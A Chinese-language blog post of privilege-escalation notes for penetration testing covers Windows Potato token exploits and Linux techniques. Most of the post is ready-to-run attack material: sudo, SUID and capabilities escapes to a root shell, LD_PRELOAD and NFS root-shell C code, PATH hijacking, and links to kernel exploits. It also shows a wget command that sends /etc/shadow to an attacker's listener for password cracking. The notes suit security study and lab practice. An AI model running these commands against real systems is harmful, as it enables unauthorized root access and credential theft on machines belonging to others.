内网提权
一、windows提权
a、土豆
仅当当前帐户有权模拟安全令牌时才能执行此操作。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,因此这通常适用于大多数服务帐户,而不适用于大多数用户级帐户。
烂土豆(Rotten Potato)
https://github.com/foxglovesec/RottenPotato
烂土豆不适用于 >= Windows 10 1809 和 Windows Server 2019 的版本
烂土豆配合MSF提权
使用令牌窃取进行提权
use incognito (进入incognito模块)
通过MSF执行烂土豆
execute -cH -f RottenPotato.exe
list_tokens -u (列出令牌)
impersonate_token "NT AUTHORITY\\SYSTEM"
烂土豆NG(Rotten PotatoNG)
https://github.com/breenmachine/RottenPotatoNG
MSFRottenPotato.exe t c:\windows\temp\test.bat
多汁土豆(Juicy Potato)
https://github.com/ohpe/juicy-potato
http://ohpe.it/juicy-potato/CLSID/
多汁土豆适用于< Windows 10 1809 < Windows Server 2019
不需要 meterpreter shell,可以指定COM服务器侦听端口,可以选择CLSID
查看当前用户权限,是否符合要求
whoami /priv
限制条件:需要支持SeImpersonate或者SeAssignPrimaryToken权限,开启DCOM,本地支持RPC或者远程服务器支持PRC并能成功登录,能够找到可用的COM对象
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
使用详情见https://github.com/ohpe/juicy-potato
多汁土豆NG(Juicy PotatoNG)
https://github.com/antonioCoco/JuicyPotatoNG
JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -a "/c whoami > C:\JuicyPotatoNG.txt"
甜土豆(Sweet Potato)
https://github.com/CCob/SweetPotato
Sweet Potato是从服务帐户到 SYSTEM 的各种本机 Windows 权限升级技术的集合。由@EthicalChaos创建,包括:烂土豆、使用 BITS WinRM 发现武器化 JuciyPotato、PrintSpoofer发现和原始利用、基于EfsPotato构建的EfsRpc
通用土豆(Generic Potato)
https://github.com/micahvandeusen/GenericPotato
通用土豆是对SweetPotato的修改版本,支持通过HTTP和/或命名管道模拟身份验证。
https://tryhackme.com/room/windows10privesc#
https://cloud.tencent.com/developer/article/1771226
https://mp.weixin.qq.com/s/UzsBJ3L8MoUr98s8RsOVgw
https://zhuanlan.zhihu.com/p/428515900
https://www.freebuf.com/articles/web/281863.html
https://www.freebuf.com/articles/web/367147.html
https://jlajara.gitlab.io/Potatoes_Windows_Privesc
b、msf各种姿势提权,bypassuac,cs提权插件
https://blog.csdn.net/qq_61503377/article/details/126311349
c、配置错误提权
计划任务无法写入,但是计划任务里面已经root自启了一个脚本或者exe,那我们可以去相应路径下的exe改成我们自己的马
二、linux提权
a、信息收集
查找有可写权限的目录 find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
hostname :主机名 此命令返回目标主机名,大部分情况下主机名是无意义的字符串,但在部分情况下,可以提供有关目标主机 在公司网络中的角色信息。
uname -a :输出系统信息,提供关于系统使用内核的详细信息,可以通过查找相关内核版本的漏洞来进行提权。
https://blog.csdn.net/shadow_zed/article/details/100085401
cat /proc/version :proc提供目标系统进程信息,查看/proc/version文件可能会提供有关内核版本和其他数据信息,如是否安装 了编译器(gcc)等。
cat /etc/issue :通过查看/etc/issue文件也可以来识别系统,该文件通常包含系统的相关信息。
ps
:该命令能查看Linux系统上正在运行的有效进程ps -A
:查看所有真正运行的进程ps axjf
:查看进程树
ps aux :显示 所有用户的进程(a),显示启动进程的用户(u),并显示未附加到终端的进程(x)通过
- PID:进程ID
- TTY:用户使用的终端类型
- TIME:进程使用的CPU时间量,不会该进程运行的时间
- CMD:正在运行的命令或可执行文件,不显示任何命令行参数
env :显示环境变量,PATH变量可能包含编译器或脚本语言,可在系统上运行代码或者拥有提权
sudo -l :显示当前用户可以使用所有运行sudo的命令
ls :Linux系统中最常见的命令之一, ls -l 可以查看文件拥有的权限 ls -a 可以显示所有文件包括隐藏文件
id :显示当前用户权限级别和组成员身份信息,也可以用于获取另一个用户的权限级别和组成员信息
cat /etc/passwd :读取/etc/passwd文件是发现系统用户的简单方法。
history :用于查看历史命令了解系统信息。
ifconfig :获取相关网络接口信息
ip route :该命令可以查看网络中有哪些路由
netstat :收集现有连接的信息。
- netstat -a :显示所有监听端口和已建立的连接
- nestat -at或nestat -au 分别用于列出TCP 或UDP协议
- netsta -l 列出处于监听模式的端口 最常见的用法 netstat -i -a:显示所有信息-n不解析名称,-o显示计时器
netstat -ltp
:列出带有服务名称和 PID 信息的连接以及监听端口
find :查找命令,用于搜索重要信息。末尾加上这句 2>/dev/null 可以抛出异常信息
- find . -name flag1.txt : 在当前目录下找到名为“flag1.txt”的文件
- find /home -name flag1.txt : 在/home目录下找到文件名“flag1.txt”
- find / -type d -name config : 在“/”下找到名为config的目录
- find / -type f -perm 0777 : 查找777权限的文件(所有用户可读、可写、可执行的文件)
- find / -perm a=x : 查找可执行文件
- find /home -user frank : 在“/home”下查找用户“frank”的所有文件
- find / -mtime 10 :查找最近 10 天内修改过的文件
- find / -atime 10 :查找最近 10 天内访问过的文件
- find / -cmin -60 :查找最近一小时(60 分钟)内更改的文件
- find / -amin -60 :查找最近一小时(60 分钟)内的文件访问
- find / -size 50M :查找大小为 50 MB 的文件
- find / -writable -type d 2>/dev/null :查找可写文件,三个不同的查找命令,查找出来的结果可能不同
- find / -perm -222 -type d 2>/dev/null :查找可写文件
- find / -perm -o w -type d 2>/dev/null :查找可写文件
- find / -perm -u=s -type f 2>/dev/null :查找带有SUID位的文件,可以运行比当前用户更高权限的文件
cat /proc/1/cgroup 查看是否在容器中
信息收集工具
自动检测信息,用于节省收集信息所需要的信息,但是可能会错过一些提权路径,以下是相关工具链接
- LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- **LinEnum: **https://github.com/rebootuser/LinEnum
- **LES (Linux Exploit Suggester): **https://github.com/mzet-/linux-exploit-suggester
- **Linux Smart Enumeration: **https://github.com/diego-treitos/linux-smart-enumeration
- Linux Priv Checker: https://github.com/linted/linuxprivchecker
b、内核漏洞提权
内核提权有风险,可能会导致目标主机崩溃
Linux 系统上的内核管理组件之间的通信,例如系统上的内存和应用程序。这个关键功能需要内核有特定的权限;因此,成功的利用可能会导致 root 特权。
- 这里插播一个比较新的linux提权内核漏洞
CVE-2024-1086: Linux LPE基本通杀 Debian ubuntuhttps://github.com/notselwyn/cve-2024-1086
- 大名鼎鼎的脏牛
(DirtyCow)提权漏洞。官网:https://dirtycow.ninja
影响版本:
- Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)
漏洞原理:在Linux内核的内存子系统处理私有只读内存映射的写时复制(COW)损坏的方式中发现了一种竞争状况。一个没有特权的本地用户可以使用此漏洞来获取对只读存储器映射的写访问权,从而增加他们在系统上的特权。
编译:gcc -pthread dirty.c -o dirty -lcrypt
提权利用:
- https://github.com/dirtycow/dirtycow.github.io
- https://github.com/gbonacini/CVE-2016-5195
- https://github.com/FireFart/dirtycow
- https://github.com/Rvn0xsy/reverse_dirty
参考链接:
其他内核漏洞
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – 'overlayfs' Local Root Shell
https://www.exploit-db.com/exploits/37292/
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) – ‘overlayfs’ Local Root Exploit
https://www.exploit-db.com/exploits/39166/
Linux Kernel 4.3.3 – 'overlayfs' Local Privilege Escalation
https://www.exploit-db.com/exploits/39230/
最新的有DirtyPipe和DirtyCred可以了解一下
CVE-2019-13272
- https://github.com/oneoy/CVE-2019-13272
- https://github.com/Huandtx/CVE-2019-13272
- https://github.com/icecliffs/Linux-For-Root
CVE-2017-16995
CVE-2019-14287
内核漏洞提权汇总
内核漏洞提权参考
- https://www.exploit-db.com/
- CVE-2022-0847
参考文章:https://xz.aliyun.com/t/11664#toc-6
c、sudo提权
sudo 命令允许您以 root 权限运行程序。在某些情况下,系统管理员可能需要为普通用户提供一些灵活的权限。例如,初级SOC分析师可能需要定期使用 Nmap,但不会获得完全根访问权限。在这种情况下,系统管理员可以允许该用户仅以 root 权限运行 Nmap,同时在系统的其余部分保持其常规权限级别。
也可以在这搜索https://gtfobins.github.io/
个人理解:一些情况下系统管理员给普通用户一个命令的sudo权限,可能平时这个用户只需要用到这个命令的sudo权限,所以只给这个命令的权限就可以了,这时候我们就可以利用这仅有的一个命令执行一些操作尝试获取一个root权限的shell,但也只有一些命令可以做到
提权命令总览
可以利用sudo提权的命令如下
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp
sudo wget提权
Wget 命令是一个命令行实用程序,它使用户能够借助许多协议(如 HTTP、HTTPS 和 FTP)从 Internet 或服务器同时下载单个或多个文件。
wget 提权的原理是:
使用–post-file参数将/etc/shadow的内容发送到监听IP并保存未hash.txt(kali)
##kali上监听
nc -lvp 4444 > hash.txt
##靶机上
/usr/bin/wget --post-file=/etc/shadow 192.168.0.114:4444
使用john字典模式对其进行破解
/usr/share/john$ john --wordlist=password.lst /home/light/hash.txt
sudo find提权
find 命令用来在指定目录下查找文件,这里使用“exec”来执行/bin/bash,以访问root shell
sudo find /home -exec /bin/bash \;
sudo cat 提权
cat 命令用户连接文件并打印到标准输出设备上
在分配了sudo权限后,我们可以查看 /etc/shadow 文件中的账号密码,并使用john破解
sudo cat /etc/shadow
sudo apt 提权
apt(Advanced Packaging Tool)是一个在 Debian 和 Ubuntu 中的 Shell 前端软件包管理器。apt 命令提供了查找、安装、升级、删除某一个、一组甚至全部软件包的命令,而且命令简洁而又好记。apt 命令执行需要超级管理员权限(root)。普通用户可调用sudo执行apt。
使用方法是,创建一个临时的文件,并在其中构建一个包来调用/bin/bash,然后通过apt-get安装该包
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
sudo zip提权
zip 命令用于压缩文件,是个 使用广泛的压缩程序,压缩后的文件后缀名为 .zip。
通过压缩一个存在的文件,并调用-T参数输出shell
sudo zip hash.zip hash.txt -T --unzip-command="sh -c /bin/bash"
sudo xxd提权
xxd命令是 二进制显示和处理文件工具,其可以将给定的文件内容生成为十六进制文件,反过来也行
提权原理是使用xxd读取十六进制的/etc/shadow文件,并通过管道符连接另一个xdd命令以将十六进制恢复为原文件
sudo xxd "/etc/shadow" | xxd -r
同样是保存后,使用jhon破解哈希密码。
sudo time 提权
time命令用于量测特定指令执行时所需消耗的时间及系统资源等资讯。
https://www.hackingarticles.in/linux-for-pentester-time-privilege-escalation/
sudo taskset提权
taskset命令用于设置进程(或 线程)的处理器亲和性(Processor Affinity),可以将进程(或 线程)绑定到特定的一个 或 多个CPU上去执行,而不允许将进程(或 线程)调度到其他的CPU上。
执行以下命令获取shell
sudo taskset 1 /bin/sh -p
sudo git提权
##第一种方法
sudo git help config
##输入!/bin/sh 并回车执行shell
##第二种方法
sudo git -p help
!/bin/bash
sudo sed提权
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo pip提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
sudo ed提权
sudo ed
!/bin/sh
sudo tmux提权
sudo tmux
sudo scp提权
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
sudo perl提权
sudo perl -e 'exec "/bin/bash";'
sudo bash提权
bash -p
sudo less提权
sudo less /etc/hosts
!bash
sudo awk提权
sudo awk 'BEGIN {system("/bin/bash")}'
sudo man提权
sudo man man
!bash
sudo vi/vim提权
sudo vi
:!bash
sudo env 提权
sudo env /bin/bash
sudo ftp提权
sudo ftp
! /bin/bash
原文链接:https://blog.csdn.net/negnegil/article/details/120090266
d、利用 LD_PRELOAD提权
在某些系统上,您可能会看到 LD_PRELOAD 环境选项。
LD_PRELOAD 是一个允许任何程序使用共享库的函数。这篇博文将让您了解 LD_PRELOAD 的功能。如果启用“env_keep”选项,我们可以生成一个共享库,它将在程序运行之前加载和执行。请注意,如果真实用户 ID 与有效用户 ID 不同,LD_PRELOAD 选项将被忽略。
这个特权升级向量的步骤可以总结如下;
- 检查 LD_PRELOAD(使用 env_keep 选项)
- 编写编译为共享对象(.so 扩展名)文件的简单 C 代码
- 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行程序
C 代码将简单地生成一个 root shell,可以编写如下;
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
我们可以将此代码保存为 shell.c,并使用以下参数使用 gcc 将其编译为共享对象文件;
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
现在可以在启动用户可以使用 sudo 运行的任何程序时使用这个共享对象文件。
例如find
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
这将导致生成具有 root 权限的 shell。
e、suid提权
参考文章:https://blog.csdn.net/Z526209693/article/details/125480346
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限,若是对一些特殊命令设置了SUID,那么将会有被提权的风险,常用的SUID提权命令有nmap、vim、find、bash、more、less、nano和cp等。
当s出现在文件所有者的x权限时,被称为“Set UID”,简称为SUID。SUID对一个文件的限制与功能包括以下几点:
(1)SUID仅对二进制有效
(2)执行者对于该程序需要有x的可执行权限
(3)本权限仅在程序的执行过程中有效
(4)执行者具有该程序所有者(user)的权限SUID按照八进制为4,SGID为2,SBIT为1,在普通权限前一位,比如4777,其实就是rws-rwx-rwx,具有SUID权限的文件所属者X变为S。
SUID提权原理总结:
查看当前具有suid权限的用户,再利用具有suid权限用户的命令去执行我们想要执行的命令。
简而言之就是查找具有特定suid权限的参数,再利用其参数进行提权命令调用
base64提权
f、Capabilities
系统管理员可以用来提高进程或二进制文件特权级别的另一种方法是“功能”。功能有助于在更精细的级别管理权限。例如,如果 SOC 分析师需要使用需要发起套接字连接的工具,普通用户将无法做到这一点。如果系统管理员不想给这个用户更高的权限,他们可以更改二进制文件的功能。因此,二进制文件无需更高权限的用户即可完成任务。
利用getcap -r / 2>/dev/null
来查看capabilities的可执行文件。利用命令提权可以在GTFobins中寻找。
# gbd的利用方法
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
#node的利用方法
./node -e 'process.setuid(0); child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
#perl的利用方法
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
#php的利用方法
./php -r "posix_setuid(0); system('/bin/sh');"
#pythond的利用方法
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
#ruby的利用方法
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
#rview的利用方法
./rview -c ':lua os.execute("reset; exec sh")'
#rvim的利用方法
./rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#view的利用方法
./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#vim的利用方法
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#vimdiff的利用方法
./vimdiff -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
注:这里可能是py3也可能是py
g、crontab提权
定时任务通常被设置用于备份文件、清理目录内容等。crontab命令可以创建一个cron文件,以指定的时间区间运行。
可以查看/etc/crontab查看CronJob文件
root用户的crontab能被root用户或完全sudo权限的用户编辑。可以在此时查找一个以root用户身份运行的当前用户可更改的读写脚本。
- 找到一个可读写更改的脚本
- 更改其内容进行反弹shell的操作
- 如果目标机器的CronJob存在,但文件已被删除,如
- 如果未定义脚本的完整路径,cron 将引用 /etc/crontab 文件中 PATH 变量下列出的路径。可以被当前用户利用。
认识一下etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=HOME=/
前 四行是用来配置crond任务运行的环境变量,第一行SHELL变量指定了系统要使用哪个shell,这里是bash,第二行PATH变量指定了系统执行 命令的路径,第三行MAILTO变量指定了crond的任务执行信息将通过电子邮件发送给root用户,如果MAILTO变量的值为空,则表示不发送任务 执行信息给用户,第四行的HOME变量指定了在执行命令或者脚本时使用的主目录。
改写原有的脚本利用
看到一个可读写的脚本backup.sh
写入一个反弹shell
没反应,又踩大坑了
尝试写个1.txt文件,还是没用,是定时任务的问题,要给权限chmod +x backup.sh
利用已删除的定时任务脚本
可以看到anricirus.sh还在定时任务里面,但是脚本已经被删除了, cron将引用/etc/crontab 文件中PATH变量下引用的路径。
1、如果目标中Cron任务存在,但文件被删除,可以在对应路径下创建文件
2、如果未定义脚本完整路径,cron将引用/etc/crontab 文件中PATH变量下引用的路径。
查找路径有没有写入权限
find / -writable -type d 2>/dev/null:查找可写文件,三个不同的查找命令,查找出来的结果可能不同
find / -perm -222 -type d 2>/dev/null:查找可写文件
find / -perm -o w -type d 2>/dev/null:查找可写文件
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
h、劫持PATH环境变量提权
PATH 是 Linux 和类 Unix 操作系统中的环境变量,它指定存储所有可执行程序的所有 bin 和 sbin 目录。当用户在终端上运行任何命令时,它会请求 shell 在 PATH 变量的帮助下搜索可执行文件,以响应用户执行的命令。超级用户通常还具有 /sbin 和 /usr/sbin 条目,以便轻松执行系统管理命令。
个人理解
提权条件是找到一个有suid权限的可执行文件,并且知道可执行文件里有没有执行系统命令,我们劫持的是可执行文件里的系统命令。重新创建一个suid权限的可执行文件执行的系统命令的文件,然后把它设置到环境变量最前面,执行这个系统命令时就会执行我们自创的系统命令文件。(这个利用条件主要难在找到可执行文件里执行的系统命令)
利用
先用命令查找有suid权限的可执行文件
find / -perm -u=s -type f 2>/dev/null
这里找到一个test,但他是个编译好的可执行程序,所以肯定打开是乱码,可以看到同目录下有个thm.py,所以test可能就是thm.py的可执行文件
这里看到test可执行文件执行的是thm命令
在临时tmp目录下写一个thm命名的文件,写入内容是/bin/bash/,然后把tmp的环境变量设置在最前面
cd /tmp
echo "/bin/bash" > thm
chmod 777 thm
echo $PATH
export PATH=/tmp:$PATH
echo $PATH
cd /home/murdoch
./test
执行test文件里面的thm命令时,由于我们把自定义的thm命令文件写在了环境变量的最前面,所以系统会先执行我们自定义的thm命令,也就是/bin/bash,所以我们劫持了path提权成功
这里可以看看我们的环境变量
i、nfs提权
网络文件系统(NFS)是一个客户端 / 服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。在 NFS 协议是几个分布式文件系统标准,网络附加存储(NAS)之一。
NFS 是基于 UDP/IP 协议的应用,其实现主要是采用远程过程调用 RPC 机制,RPC 提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC 采用了 XDR 的支持。XDR 是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。
利用先遣条件:no_root_squash选项得开启
利用
cat /etc/exports
查看no_root_squash选项是否开启开启
在攻击机上执行showmount
需要执行以下命令,安装nfs-common软件包。apt会自动安装nfs-common、rpcbind等12个软件包
showmount -e 目标ip
showmount列举目标主机的可用nfs exports
mount -o rw 10.10.151.89:/tmp /tmp/backs
先挂载后创建文件
mkdir /tmp/back
创建一个路径,在路径下写给nfs.c脚本并编译gcc nfs.c -o nfs -w
并且设置suid权限chmod +s nfs
C语言脚本
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
python脚本
/usr/bin/python3
import os
import sys
try:
os.system("/bin/bash")
except:
sys.exit()
最后回到受害机执行我们创建好的执行文件即可
本文作者:xiaoxin07
本文链接:https://www.cnblogs.com/xiaoxin07/p/18103386
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步